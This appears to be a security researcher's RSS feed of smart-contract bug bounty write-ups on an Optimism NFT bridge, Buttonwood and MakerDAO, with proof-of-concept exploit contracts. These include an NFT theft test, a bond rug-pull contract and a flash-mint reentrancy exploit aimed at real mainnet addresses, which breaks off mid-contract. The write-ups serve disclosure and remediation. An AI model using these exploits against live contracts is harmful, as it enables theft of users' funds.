"><code>        <span class="hljs-comment">//Check that the L1/L2 NFT pair has a token ID that is escrowed in the L1 Bridge.</span>
        <span class="hljs-built_in">require</span>(
            deposits[_localToken][_remoteToken][_tokenId] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">true</span>,
            <span class="hljs-string">"L1ERC721Bridge: Token ID is not escrowed in the L1 Bridge"</span>
        );

        <span class="hljs-comment">// Mark that the token ID for this L1/L2 token pair is no longer escrowed in the L1</span>
        <span class="hljs-comment">// Bridge.</span>
        deposits[_localToken][_remoteToken][_tokenId] <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
</code></pre><p>PermaLink: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/L1ERC721Bridge.sol#L58"><strong>https://github.com/ethereum-optimism/optimism/blob/3f4b3c328153a8aa03611158b6984d624b17c1d9/packages/contracts-bedrock/contracts/L1/L1ERC721Bridge.sol#L58</strong></a></p><h2 id="h-proof-of-concept" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Proof of Concept</h2><pre data-type="codeBlock" text="// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;

import &quot;../lib/forge-std/src/Test.sol&quot;;
import &quot;../src/L1/L1NFTBridge.sol&quot;;
import &quot;../src/L2/L2NFTBridge.sol&quot;;
import &quot;./FakeL2Token.sol&quot;;
import &quot;./l1Xdomainmessenger.sol&quot;;
import &quot;./l2Xdomainmessenger.sol&quot;;
import &quot;./l1Token.sol&quot;;
import &quot;./l2Token_legit.sol&quot;;

contract Test_Exploit is Test {
    L1ERC721Bridge l1bridge;
    L2ERC721Bridge l2bridge;
    FakeL2Token    fakeL2NFT;
    L1XDomainMsgner L1messenger;
    L1NFTToken     l1token;
    L2XDomainMsgner L2messenger;
    L2NFTToken     l2token;

    address attacker_address = address(0x1337);
    address alice = address(0x8787);

    function setUp() public {
        l1bridge = new L1ERC721Bridge();
        L2messenger = new L2XDomainMsgner(address(l1bridge));
        l2bridge = new L2ERC721Bridge(address(L2messenger), address(l1bridge));
        L1messenger = new L1XDomainMsgner(address(l2bridge));
        l1bridge.initialize(address(L1messenger),address(l2bridge));
        l1token = new L1NFTToken();
        fakeL2NFT = new FakeL2Token(address(l1token));
        l2token = new L2NFTToken(address(l1token));
    }
      

    function test_AliceTX_1() public {
        vm.prank(alice);
        l1token.mint(alice, 1);
        console.log(&quot;Alice Minted her 1st NFT TokenId from L1NFT token Contract&quot;);
        console.log(&quot;Owner of 1st Token id is&quot;,l1token.ownerOf(1));
    }

    function test_AliceTX_2() public {
        vm.prank(alice);
        l1bridge.depositERC721To(address(l1token),address(l2token),address(alice),1,70000,&quot;&quot;);
        vm.stopPrank();
        console.log(&quot;Alice Successfully Bridged her 1st NFT TokenID to L2&quot;);
    }

    function test_AliceTX_3() public {
        vm.prank(address(L2messenger));
        l2bridge.finalizeDeposit(address(l1token),address(l2token),address(alice),address(alice),1,&quot;&quot;);
        vm.stopPrank();
        console.log(&quot;Alice&apos;s Deposit Finalized&quot;);
    }

    function test_Attacker_TX_1() public {
        vm.prank(attacker_address);
        l2bridge.withdrawTo(address(fakeL2NFT), address(attacker_address), 1, 1000, &quot;&quot;);
        vm.stopPrank();
        console.log(&quot;Attack Initated by calling withdrawTo with FakeL2Token invoking Legit Alice owned NFT Token&quot;);
    }

    function test_Attacker_TX_2() public {
        vm.prank(address(L1messenger));
        l1bridge.finalizeERC721Withdrawal(address(l1token), address(fakeL2NFT), address(attacker_address),address(attacker_address), 1, &quot;&quot;);
        vm.stopPrank();
        console.log(&quot;Withdrawl finalized!&quot;);
        assertEq(l1token.ownerOf(1),address(attacker_address));
        console.log(&quot;Current Owner of Alice L1 Token:&quot;,l1token.ownerOf(1));
        console.log(&quot;Attacker minted L1 NFT TokenID for Free without locking Orginal L2NFT on L2&quot;);
    }

}
"><code><span class="hljs-comment">// SPDX-License-Identifier: Unlicense</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../lib/forge-std/src/Test.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../src/L1/L1NFTBridge.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../src/L2/L2NFTBridge.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./FakeL2Token.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./l1Xdomainmessenger.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./l2Xdomainmessenger.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./l1Token.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"./l2Token_legit.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Test_Exploit</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    L1ERC721Bridge l1bridge;
    L2ERC721Bridge l2bridge;
    FakeL2Token    fakeL2NFT;
    L1XDomainMsgner L1messenger;
    L1NFTToken     l1token;
    L2XDomainMsgner L2messenger;
    L2NFTToken     l2token;

    <span class="hljs-keyword">address</span> attacker_address <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0x1337</span>);
    <span class="hljs-keyword">address</span> alice <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0x8787</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        l1bridge <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> L1ERC721Bridge();
        L2messenger <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> L2XDomainMsgner(<span class="hljs-keyword">address</span>(l1bridge));
        l2bridge <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> L2ERC721Bridge(<span class="hljs-keyword">address</span>(L2messenger), <span class="hljs-keyword">address</span>(l1bridge));
        L1messenger <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> L1XDomainMsgner(<span class="hljs-keyword">address</span>(l2bridge));
        l1bridge.initialize(<span class="hljs-keyword">address</span>(L1messenger),<span class="hljs-keyword">address</span>(l2bridge));
        l1token <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> L1NFTToken();
        fakeL2NFT <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> FakeL2Token(<span class="hljs-keyword">address</span>(l1token));
        l2token <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> L2NFTToken(<span class="hljs-keyword">address</span>(l1token));
    }
      

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_AliceTX_1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.prank(alice);
        l1token.mint(alice, <span class="hljs-number">1</span>);
        console.log(<span class="hljs-string">"Alice Minted her 1st NFT TokenId from L1NFT token Contract"</span>);
        console.log(<span class="hljs-string">"Owner of 1st Token id is"</span>,l1token.ownerOf(<span class="hljs-number">1</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_AliceTX_2</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.prank(alice);
        l1bridge.depositERC721To(<span class="hljs-keyword">address</span>(l1token),<span class="hljs-keyword">address</span>(l2token),<span class="hljs-keyword">address</span>(alice),<span class="hljs-number">1</span>,<span class="hljs-number">70000</span>,<span class="hljs-string">""</span>);
        vm.stopPrank();
        console.log(<span class="hljs-string">"Alice Successfully Bridged her 1st NFT TokenID to L2"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_AliceTX_3</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.prank(<span class="hljs-keyword">address</span>(L2messenger));
        l2bridge.finalizeDeposit(<span class="hljs-keyword">address</span>(l1token),<span class="hljs-keyword">address</span>(l2token),<span class="hljs-keyword">address</span>(alice),<span class="hljs-keyword">address</span>(alice),<span class="hljs-number">1</span>,<span class="hljs-string">""</span>);
        vm.stopPrank();
        console.log(<span class="hljs-string">"Alice's Deposit Finalized"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_Attacker_TX_1</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.prank(attacker_address);
        l2bridge.withdrawTo(<span class="hljs-keyword">address</span>(fakeL2NFT), <span class="hljs-keyword">address</span>(attacker_address), <span class="hljs-number">1</span>, <span class="hljs-number">1000</span>, <span class="hljs-string">""</span>);
        vm.stopPrank();
        console.log(<span class="hljs-string">"Attack Initated by calling withdrawTo with FakeL2Token invoking Legit Alice owned NFT Token"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_Attacker_TX_2</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.prank(<span class="hljs-keyword">address</span>(L1messenger));
        l1bridge.finalizeERC721Withdrawal(<span class="hljs-keyword">address</span>(l1token), <span class="hljs-keyword">address</span>(fakeL2NFT), <span class="hljs-keyword">address</span>(attacker_address),<span class="hljs-keyword">address</span>(attacker_address), <span class="hljs-number">1</span>, <span class="hljs-string">""</span>);
        vm.stopPrank();
        console.log(<span class="hljs-string">"Withdrawl finalized!"</span>);
        assertEq(l1token.ownerOf(<span class="hljs-number">1</span>),<span class="hljs-keyword">address</span>(attacker_address));
        console.log(<span class="hljs-string">"Current Owner of Alice L1 Token:"</span>,l1token.ownerOf(<span class="hljs-number">1</span>));
        console.log(<span class="hljs-string">"Attacker minted L1 NFT TokenID for Free without locking Orginal L2NFT on L2"</span>);
    }

}
</code></pre><hr>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/a32f073a9211689c901c5a9cf4f56acdd35a13f2bb0a62879acaa71827d010f2.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Buttonwood Security Report]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/buttonwood-security-report</link>
            <guid>4vKv5WeptAavtslhWFPI</guid>
            <pubDate>Tue, 09 Apr 2024 17:53:49 GMT</pubDate>
            <description><![CDATA[Protocol Overview:Buttonwood is a collection of DeFi primitives for building powerful decentralized financial instruments. One of Buttonwood&apos;s insights is that everything in finance is some form of a tranche. The ButtonTranche contracts serve as a foundation for marketplaces such as liquidation-free debt, convertible bonds, and options, and assets like fiat-free stablecoins. This write-up covers some bug bounty reports hosted by Buttonwood on Immunefi.#1 Accounting bug causes the free mi...]]></description>
            <content:encoded><![CDATA[<h2 id="h-protocol-overview" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Protocol Overview:</h2><p>Buttonwood is a collection of DeFi primitives for building powerful decentralized financial instruments. One of Buttonwood&apos;s insights is that everything in finance is some form of a tranche. The ButtonTranche contracts serve as a foundation for marketplaces such as liquidation-free debt, convertible bonds, and options, and assets like fiat-free stablecoins.</p><p>This write-up covers some bug bounty reports hosted by Buttonwood on Immunefi.</p><h2 id="h-1-accounting-bug-causes-the-free-minting-of-dust-tokens-bounty-dollar10000" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#1 Accounting bug causes the free minting of dust tokens. [Bounty: $10,000 💰]</h2><h3 id="h-scope" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Scope:</h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/UnbuttonToken.sol">https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/UnbuttonToken.sol</a></p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Description:</h3><p>The <code>mint()</code> and <code>mintFor()</code> function on the ButtonToken contract allow any user to mint a free  amount of <code>bits</code>. Relatively, the <code>mint</code> function takes a number of bits to be minted for the user by calculating through <code>_amountTobits</code>. When certain bits are calculated, the amount of the underlying token(Uamount) to be deposited is calculated. Which results in <code>0</code> amount of underlying tokens being deposited by the user. The button token generally accepts Uamount in the <code>_deposit()</code> function.</p><p>In this bug report, when a user gives a low amount for minting, which can be measured in 5 decimals of uint Eg: 55555. The contract mints a free <code>X</code> amount of <code>bits</code> for the user.</p><p>The root cause of the issue is actually due to the floor division rounding when converting the share amount into the underlying amount. This means that the absolute maximum that can be extracted is the equivalent of 1 underlying &quot;wei&quot; worth of share tokens for free.</p><p>This vulnerability can be exploited through the repeated call of the mint() function through multicall contracts to save some gas.</p><p><strong><em>Proof of Concept:</em></strong></p><p>As said in the bug report, the mint function can be exploited through the dust amount input for tokens.</p><p>This POC can be demonstrated through the Tenderly mainnet fork.</p><ol><li><p>Add ButtonToken(bWbtc) contract to the Tenderly Dashboard.</p></li><li><p>Fork the Ethereum mainnet using the Tenderly Fork tab.</p></li><li><p>Create a new simulation and choose the button token that has been added before.</p></li><li><p>Select the <code>mint()</code> function and give input for the number of tokens in 5 decimals, eg: 55555</p></li><li><p>The default caller address will be <code>address(0)</code> changed to any random address.</p></li><li><p>Now click simulate, The portion of bits will be transferred to that random caller without receiving any amount of underlying tokens from the caller.</p></li></ol><p>From the attacker&apos;s side, to make a profit from the <code>mint()</code> function, the attacker can use multicall code to repeatedly call the <code>mint()</code> function with low gas fees.</p><h3 id="h-projects-response" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Project’s Response:</h3><p>While this is certainly a valid concern, the exploitable value is extremely limited, even with an automated loop calling the function iteratively. On a chain where gas has any value at all, we don&apos;t see this being a profitable exploit under any reasonable circumstances.</p><p>We truly appreciate the report and are implementing a fix for the numerical instability in future versions. Due to the extremely limited scope of the exploit, we propose to change the severity to `<code>Medium`</code> and <strong><em>offer a $10,000 payout.</em></strong></p><h2 id="h-2-the-owner-can-make-the-bond-mature-before-the-maturity-date" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#2 The owner can make the bond mature before the maturity date.</h2><h3 id="h-scope" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Scope:</h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/buttonwood-protocol/tranche/blob/main/contracts/BondController.sol">https://github.com/buttonwood-protocol/tranche/blob/main/contracts/BondController.sol</a></p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Description:</h3><p>The bond should mature on a pre-defined maturity date. But the <code>mature()</code> function can be called before the maturity date due to the wrong operator used in the require statement.</p><pre data-type="codeBlock" text="function mature() external {
    require(owner() == _msgSender() || maturityDate &lt; block.timestamp,         &quot;BondController: Invalid call to mature&quot;);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mature</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-built_in">require</span>(owner() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _msgSender() <span class="hljs-operator">|</span><span class="hljs-operator">|</span> maturityDate <span class="hljs-operator">&#x3C;</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>,         <span class="hljs-string">"BondController: Invalid call to mature"</span>);
}
</code></pre><p>The <code>||</code> (OR) operator is either or, operator means either one statement can be true to pass the require statement. So, in that case, <strong>if the owner calls mature(), the statement is passed and able to mature the bond before the maturity date.</strong></p><p>This will cause certain functionalities to be unable to call and malicious owners can transfer the collateral token before the maturity date.</p><p><strong><em>Proof of Concept:</em></strong></p><p>The attacker creates a bond.</p><p>Then the bond contract is rug pulled by the malicious owner(attacker) by calling the mature function before the maturity date.</p><pre data-type="codeBlock" text="pragma solidity 0.8.0;

interface IBondFactory {
    function createBondWithDepositLimit(
        address _collateralToken,
        uint256[] memory trancheRatios,
        uint256 maturityDate,
        uint256 depositLimit
    ) external;
}

interface IBondController {
    function mature() external;
}

contract exploit {
    IBondFactory bf = IBondFactory(0x000001);
    IBondController bc = IBondController(0x000002);

    //Creating Malicious bond
    function createbond(address _collateralToken, uint256[] calldata trancheRatios, uint256 maturityDate, uint256 depositLimit) external {
        bf.createBondWithDepositLimit(_collateralToken, trancheRatios, maturityDate, depositLimit);
    }

    //Malicious owner can call mature at any time/ before the maturity date
    function attack() external {
        bc.mature();
    }
}
"><code><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IBondFactory</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createBondWithDepositLimit</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> _collateralToken,
        <span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">memory</span> trancheRatios,
        <span class="hljs-keyword">uint256</span> maturityDate,
        <span class="hljs-keyword">uint256</span> depositLimit
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IBondController</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mature</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">exploit</span> </span>{
    IBondFactory bf <span class="hljs-operator">=</span> IBondFactory(<span class="hljs-number">0x000001</span>);
    IBondController bc <span class="hljs-operator">=</span> IBondController(<span class="hljs-number">0x000002</span>);

    <span class="hljs-comment">//Creating Malicious bond</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createbond</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _collateralToken, <span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">calldata</span> trancheRatios, <span class="hljs-keyword">uint256</span> maturityDate, <span class="hljs-keyword">uint256</span> depositLimit</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        bf.createBondWithDepositLimit(_collateralToken, trancheRatios, maturityDate, depositLimit);
    }

    <span class="hljs-comment">//Malicious owner can call mature at any time/ before the maturity date</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        bc.mature();
    }
}
</code></pre><h3 id="h-recommendations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Recommendation(s):</h3><p>It is recommended to use the <code>&amp;&amp;</code> operator to make it callable by the owner on the maturity date.</p><pre data-type="codeBlock" text="require(owner() == _msgSender() &amp;&amp; maturityDate &lt; block.timestamp, &quot;BondController: Invalid call to mature&quot;);
"><code><span class="hljs-built_in">require</span>(owner() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _msgSender() <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> maturityDate <span class="hljs-operator">&#x3C;</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>, <span class="hljs-string">"BondController: Invalid call to mature"</span>);
</code></pre>]]></content:encoded>
            <author>shanmuga-bharathi@newsletter.paragraph.com (Shanmuga Bharathi(Security Researcher🧑‍💻))</author>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/aac77823dc2830eabd6f5aac84bbc589fceff93a344e8288de235f50793e04ca.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[MakerDAO Security Report]]></title>
            <link>https://paragraph.com/@shanmuga-bharathi/makerdao-security-report</link>
            <guid>EzBo205LhzGw2SLSpwFC</guid>
            <pubDate>Mon, 08 Apr 2024 19:08:43 GMT</pubDate>
            <description><![CDATA[Protocol Overview:MakerDAO is a decentralized organization dedicated to bringing stability to the cryptocurrency economy. The Maker Protocol employs a two-token system. The first being, Dai, a collateral-backed stablecoin that offers stability. The Maker Foundation and the MakerDAO community believe that a decentralized stablecoin is required to have any business or individual realize the advantages of digital money. Second, there is MKR, a governance token that is used by stakeholders to mai...]]></description>
            <content:encoded><![CDATA[<h2 id="h-protocol-overview" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Protocol Overview:</h2><p>MakerDAO is a decentralized organization dedicated to bringing stability to the cryptocurrency economy. The Maker Protocol employs a two-token system. The first being, Dai, a collateral-backed stablecoin that offers stability. The Maker Foundation and the MakerDAO community believe that a decentralized stablecoin is required to have any business or individual realize the advantages of digital money. Second, there is MKR, a governance token that is used by stakeholders to maintain the system and manage Dai. MKR token holders are the decision-makers of the Maker Protocol, supported by the larger public community and various other external parties.</p><p>Maker is unlocking the power of decentralized finance for everyone by creating an inclusive platform for economic empowerment; enabling everyone with equal access to the global financial marketplace.</p><p><strong><em>This write-up contains a collection of MakerDAO smart contract security reports.</em></strong></p><h1 id="h-1-improper-implementation-of-the-permit-function-allows-to-drain-the-balance-of-the-account-owner" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#1 Improper implementation of the permit() function allows to drain the balance of the account owner.</h1><h3 id="h-scope" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Scope:</h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/token/0x6b175474e89094c44da98b954eedeac495271d0f#code">https://etherscan.io/token/0x6b175474e89094c44da98b954eedeac495271d0f#code</a></p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"><strong>Description:</strong></h3><p>The MCD_Dai has typical ERC20 functions and makes differences from the original ERC20 implementation. One of the significant changes is the permit function. The permit function allows the spender to spend the maximum amount of tokens from the holder. This introduces the various risks to the Dai holder in the following ways:</p><ol><li><p>If the Spender Contract/EOA acts with malicious intent, the spender can steal all DAI tokens from the holder.</p></li><li><p>If the innocent holder has the wish to only approve the <code>x</code> amount of tokens to the spender, unfortunately, it can be exploited by the malicious spender to drain the <code>n</code> amount of Dai from the holder.</p></li></ol><p><strong><em>Code Snippet:</em></strong></p><pre data-type="codeBlock" text="uint wad = allowed ? uint(-1) : 0; //uint(-1) is to Specify the uint256 max value
allowance[holder][spender] = wad;
"><code>uint <span class="hljs-attr">wad</span> = allowed ? uint(-<span class="hljs-number">1</span>) : <span class="hljs-number">0</span><span class="hljs-comment">; //uint(-1) is to Specify the uint256 max value</span>
allowance<span class="hljs-section">[holder]</span><span class="hljs-section">[spender]</span> = wad<span class="hljs-comment">;</span>
</code></pre><h3 id="h-impact" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Impact:</h3><p>The spender can drain Dai from the account owner.</p><h3 id="h-recommendations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Recommendation(s):</h3><p>The Standard ERC20 Permit uses a <code>uint256 value</code> to specify a certain amount of value to be spent by the spender. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eips.ethereum.org/EIPS/eip-2612"><strong>https://eips.ethereum.org/EIPS/eip-2612</strong></a></p><pre data-type="codeBlock" text="function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">permit</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> owner, <span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint</span> value, <span class="hljs-keyword">uint</span> deadline, <span class="hljs-keyword">uint8</span> v, <span class="hljs-keyword">bytes32</span> r, <span class="hljs-keyword">bytes32</span> s</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
</code></pre><p>It is recommended to add this argument to prevent such risks.</p><h2 id="h-2-no-check-for-prevention-of-a-contract-call-on-depositerc20to-function" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#2 No check for prevention of a contract call on <code>depositERC20To()</code> function.</h2><h3 id="h-scope" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Scope:</h3><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/makerdao/optimism-dai-bridge/blob/master/contracts/l1/L1DAITokenBridge.sol">https://github.com/makerdao/optimism-dai-bridge/blob/master/contracts/l1/L1DAITokenBridge.sol</a></p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Description:</h3><p>The <code>depositERC20</code> function has a check to prevent calls from the contract, stop deposits from contracts, and avoid accidentally losing tokens. But upon looking at the <code>depositERC20To()</code> function, it is missing the check to prevent calls from the contract.</p><p>It seems MakerDao devs missing the check. Thus, a contract can be called the <code>depositERC20To</code> function.</p><h3 id="h-recommendations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Recommendation(s):</h3><p>Consider adding this snippet to <code>depositERC20To()</code></p><pre data-type="codeBlock" text="require(!Address.isContract(msg.sender), &quot;L1DAITokenBridge/Sender-not-EOA&quot;);
"><code><span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>Address.isContract(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>), <span class="hljs-string">"L1DAITokenBridge/Sender-not-EOA"</span>);
</code></pre><h2 id="h-3-cross-reentrants-on-the-flash-mint-contract-are-allowed-to-take-500-million-dai-exceeding-the-max-limit" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">#3 Cross-reentrants on the Flash Mint contract are allowed to take 500 million dai exceeding the max limit.</h2><h3 id="h-scope" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Scope:</h3><p>DSS_Flash_Legacy: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x1eb4cf3a948e7d72a198fe073ccb8c7a948cd853/"><strong>https://etherscan.io/address/0x1eb4cf3a948e7d72a198fe073ccb8c7a948cd853/</strong></a></p><p>DSS_Flash: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x60744434d6339a6b27d73d9eda62b6f66a0a04fa/"><strong>https://etherscan.io/address/0x60744434d6339a6b27d73d9eda62b6f66a0a04fa/</strong></a></p><h3 id="h-description" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Description:</h3><p>I noticed that there are two deployments of the MakerDAO Flash Mint contract. Each contract has a maximum borrow limit of 250 million Dai to be minted by the user. But this can be bypassed by borrowing another 250 million from the latest flash module.</p><p>But there is a check called the <code>lock</code> modifier, which acts as a reentrant. Here, there is a need to bypass this by following factors:</p><ol><li><p>First, call the <code>vatDaiFlashLoan()</code> from the Flash Module by borrowing 250 Million dai from the Flash borrower contract.</p></li><li><p>On callback of <code>onVatDaiFlashLoan</code> the Flashborrower call them <code>flash loan()</code> from the Flash legacy.</p></li><li><p>Now FlashBorrower has 500 million DAI to trade.</p></li></ol><p><strong>Failure Mode</strong> Suppose the FlashBorrower calls <code>vatDaiFlashLoan()</code> on both contracts at the same TX, likely causing a revert due to the <code>lock</code> modifier. I am so bypassing it by calling two different functions.</p><p><strong><em>Proof of Concept:</em></strong></p><pre data-type="codeBlock" text="pragma solidity ^0.8.0;

interface IFlashlegacy {
    function flashLoan(
        address receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns(bool);
}

interface IFlash {
    function vatDaiFlashLoan(
        address receiver,         
        uint256 amount,                      
        bytes calldata data                     
    ) external returns(bool);
}

interface IDaiJoin {
    function join(address usr, uint wad) external;
    function exit(address usr, uint wad) external;
}

interface IVat {
    function move(address src, address dst, uint wad) external;
    function heal(uint wad) external;
    function hope(address usr) external;
}

interface IDAI {
    function approve(address spender, uint amt) external returns(bool);
    function balanceOf(address usr) external returns(uint256);
}


contract exploit {
    IFlashlegacy fl = IFlashlegacy(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
    IFlash f = IFlash(0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA);
    IDaiJoin dj = IDaiJoin(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
    IVat v = IVat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
    IDAI dai = IDAI(0x6B175474E89094C44Da98b954EedeAC495271d0F);

    address public receiver = address(this);
    address public token = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    bytes public data = &quot;&quot;;


    function flashborrow() external {
        v.hope(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
        dai.approve(address(fl), type(uint256).max);
        dai.approve(address(dj), type(uint256).max);
        //Calling latest Deployment of Flash mint
        f.vatDaiFlashLoan(receiver, 250000000000000000000000000000000000000000000000000000, data);
    }

    function onVatDaiFlashLoan(address caller, uint amt, uint fee, bytes calldata _data) external returns(bytes32) {
        //Minting DAI
        dj.exit(address(this), 250000000000000000000000000);
        //Taking another 250 Million Dai from Flash legacy.
        fl.flashLoan(receiver, token, 250000000000000000000000000, data);
        dj.join(address(f), 250000000000000000000000000);
        return keccak256(&quot;VatDaiFlashBorrower.onVatDaiFlashLoan&quot;);
    }

